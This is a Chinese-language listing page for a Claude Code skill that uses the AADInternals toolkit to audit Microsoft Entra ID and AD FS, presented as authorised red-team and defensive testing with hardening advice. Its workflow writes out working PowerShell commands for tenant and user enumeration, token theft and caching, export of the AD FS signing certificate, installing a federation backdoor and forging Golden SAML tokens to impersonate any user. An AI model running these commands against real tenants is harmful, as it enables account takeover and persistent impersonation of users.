关于 auditing-entra-id-with-aadinternals
这是一项使用 AADInternals 评估 Microsoft Entra ID、Azure AD Connect 和 AD FS 暴露面的安全测试技能。它以防御验证为导向,涵盖侦察、令牌与目录检查及受控的联合身份测试,并指导记录证据和加固建议。
主要功能
- 01无凭据租户侦察
- 02获取并缓存 Microsoft API 令牌
- 03已认证的目录枚举
- 04检查联合身份与 AD FS 配置
- 05受控验证 Golden SAML
- 06整理暴露情况与加固建议
适用场景
- 01在书面授权下评估 Entra ID 或 Microsoft 365
- 02记录租户域、联合身份与 SSO 暴露情况
- 03检查令牌访问和目录可见性
- 04评估联合身份签名密钥保护
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill auditing-entra-id-with-aadinternals安装后在 Claude Code 中输入/auditing-entra-id-with-aadinternals确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用 AADInternals 审计 Entra ID
法律声明: 本技能仅供授权安全测试、红队演练和教育目的使用。AADInternals 可以伪造 SAML 令牌并安装联合身份验证后门,从而实现对任意租户用户的持久化身份冒充。仅可针对你拥有的租户或已获得明确书面授权(交战规则)进行测试的租户使用。未经授权的使用违反《计算机欺诈与滥用法案》及同等法律。
概述
AADInternals 是针对 Microsoft Entra ID(原 Azure AD)、Azure AD Connect 和 Active Directory 联合身份验证服务(AD FS)最全面的攻击/管理 PowerShell 工具包,由 Dr. Nestori Syynimaa(Gerenios / Secureworks)编写。它提供数百个 cmdlet(全部以 AADInt 为前缀),涵盖未认证的外部侦察、针对每个 Microsoft API 的访问令牌获取、目录操作、AD FS/PTA 攻击,以及它最为著名的技术:联合身份验证后门——滥用 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 路径,使控制联合域 IssuerUri 的攻击者能够为任意用户铸造 SAML 令牌——对应 MITRE ATT&CK T1606.002(伪造 Web 凭据:SAML 令牌),与 SolarWinds(Golden SAML)入侵事件中使用的同类技术。
该工具包按所需位置划分功能。Invoke-AADIntReconAsOutsider 和 Get-AADIntLoginInformation 无需凭据——它们查询公开端点(getuserrealm、OpenID 配置、autodiscover)以揭示已验证域、租户 ID、联合身份验证类型、品牌,以及是否启用了桌面/无缝 SSO。拥有立足点后,Get-AADIntAccessTokenFor* cmdlet 可获取 Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management 等的令牌,并可选地缓存它们,以便后续 cmdlet 复用。拥有全局管理员(或已同步的 AD Connect 账户)后,该工具包可以读取目录机密、操作用户,并建立联合身份验证后门。
本技能从防御验证的角度驱动 AADInternals:确认外部攻击者能够了解到什么、低权限令牌能够触达什么,以及联合身份验证/AD FS 配置是否允许 Golden SAML——然后产出证据和加固建议。
何时使用
- 在获得授权的 Entra ID / Microsoft 365 红队或假定入侵评估期间
- 在凭据攻击之前枚举外部攻击面(已验证域、联合身份验证类型、SSO)
- 验证联合身份验证和 AD FS 令牌签名证书是否受到保护以抵御 Golden SAML
- 测试跨 Microsoft 第一方 API 的令牌获取与重放
- 在构建检测规则时(与蓝队 Graph 日志狩猎技能配合使用),需要真实的 AADInternals 遥测数据
先决条件
- 涵盖身份攻击和联合身份验证后门测试的书面授权
- 装有 PowerShell 5.1+(或受支持子集上的 PowerShell 7)的 Windows 主机
- 对于后门/联合身份验证测试:目标租户中的全局管理员(或同等权限),且按 ROE 在范围内
- 从 PowerShell Gallery 安装模块:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Cross-platform AsOutsider-only reimplementation (no creds) is also available: # https://github.com/synacktiv/AADOutsider-py - 熟悉 SAML/WS-Federation、OAuth 令牌和 Azure AD Connect
目标
- 执行未认证的租户侦察,并枚举已验证域、租户 ID 和联合身份验证类型
- 获取并缓存针对 Microsoft 第一方 API 的访问令牌
- 使用已认证令牌枚举用户/组/角色
- 以受控、授权的方式测试联合身份验证后门 / Golden SAML 路径
- 记录暴露情况并交付加固建议(令牌签名证书保护、联合身份验证监控)
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1606.002 | 伪造 Web 凭证:SAML 令牌 | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken 通过受控的联合身份 IssuerUri 为任意用户伪造 SAML 令牌(Golden SAML) |
相关技术:T1087.004 账户发现:云账户(侦察),T1528 窃取应用程序访问令牌(令牌获取),T1556.007 修改身份验证流程:混合身份(联合身份/PTA 后门)。
工作流
步骤 1:未认证的外部侦察
无需凭证。识别已验证域、租户 ID、联合身份类型、品牌和 SSO 状态。
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
步骤 2:外部用户枚举(可选,易产生噪音)
通过 GetCredentialType / autologon 端点验证用户名是否存在。
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
步骤 3:获取并缓存访问令牌
使用有效凭证(或交互式提示),为你需要的 API 获取令牌。-SaveToCache 让后续 cmdlet 自动复用该令牌。
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
步骤 4:已认证的目录枚举
使用缓存/已获取的令牌,读取目录对象以梳理权限。
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
步骤 5:检查联合身份 / AD FS 配置
确定租户是否使用联合域,以及令牌签名密钥存放的位置——这是 Golden SAML 的前提条件。
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
步骤 6:联合身份后门 / Golden SAML(仅限授权场景)
通过设置一个已知的 IssuerUri 将域转换为后门,然后使用该域的 ImmutableId 为目标用户伪造 SAML 令牌。仅在受控租户中、且获得明确授权的情况下使用。
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
步骤 7:记录暴露面并加固
准确记录侦察揭示了什么、哪些令牌/API 可达,以及后门/Golden SAML 路径是否成功。建议:保护 AD FS 令牌签名证书(HSM、限制 DKM 访问),对新增/变更的联合身份信任发出告警,监控 Set-DomainAuthentication/Set-MsolDomainFederationSettings,并在可行的情况下迁移到托管(云)身份验证。
工具与资源
| 资源 | 用途 | 来源 |
|---|---|---|
| AADInternals | Entra ID / AD FS 攻击与管理工具包 | https://github.com/Gerenios/AADInternals |
| AADInternals 文档 | Cmdlet 参考与技术说明 | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | 跨平台的 AsOutsider 重新实现 | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML 背景 | 联合身份后门技术说明 | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | 伪造 Web 凭证:SAML 令牌 | https://attack.mitre.org/techniques/T1606/002/ |
Cmdlet 快速参考
| Cmdlet | 位置 | 用途 |
|---|---|---|
Invoke-AADIntReconAsOutsider | 无 | 已验证域、租户 ID、联合身份类型、SSO |
Get-AADIntLoginInformation | 无 | 域的领域/登录详细信息 |
Get-AADIntTenantID | 无 | 租户 GUID |
Invoke-AADIntUserEnumerationAsOutsider | 无 | 验证用户是否存在 |
Get-AADIntAccessTokenForAADGraph | 凭证 | Azure AD Graph 令牌(-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | 凭证 | Microsoft Graph 令牌 |
Get-AADIntAccessTokenForEXO | 凭证 | Exchange Online 令牌 |
Get-AADIntUsers | 令牌 | 枚举目录用户 |
ConvertTo-AADIntBackdoor | 全局管理员 | 将域转换为联合身份后门 |
New-AADIntSAMLToken | 后门 | 为用户伪造 SAML 令牌(Golden SAML) |
Open-AADIntOffice365Portal | SAML 令牌 | 以被模拟用户的身份打开门户会话 |
验证标准
- 已完成外部侦察;已记录经验证的域、租户 ID 和联合身份验证类型
- 已测试用户枚举(或记录为超出范围)
- 已获取访问令牌并至少为一个 Microsoft API 缓存
- 已执行经身份验证的目录枚举(用户/角色,已记录同步账户)
- 已评估联合身份验证 / AD FS 配置的令牌签名密钥暴露情况
- 已在授权的受控租户中测试后门 / Golden SAML 路径,或记录为超出范围
- 已记录暴露情况及具体影响
- 已提供加固建议(证书保护、联合身份验证监控、托管身份验证迁移)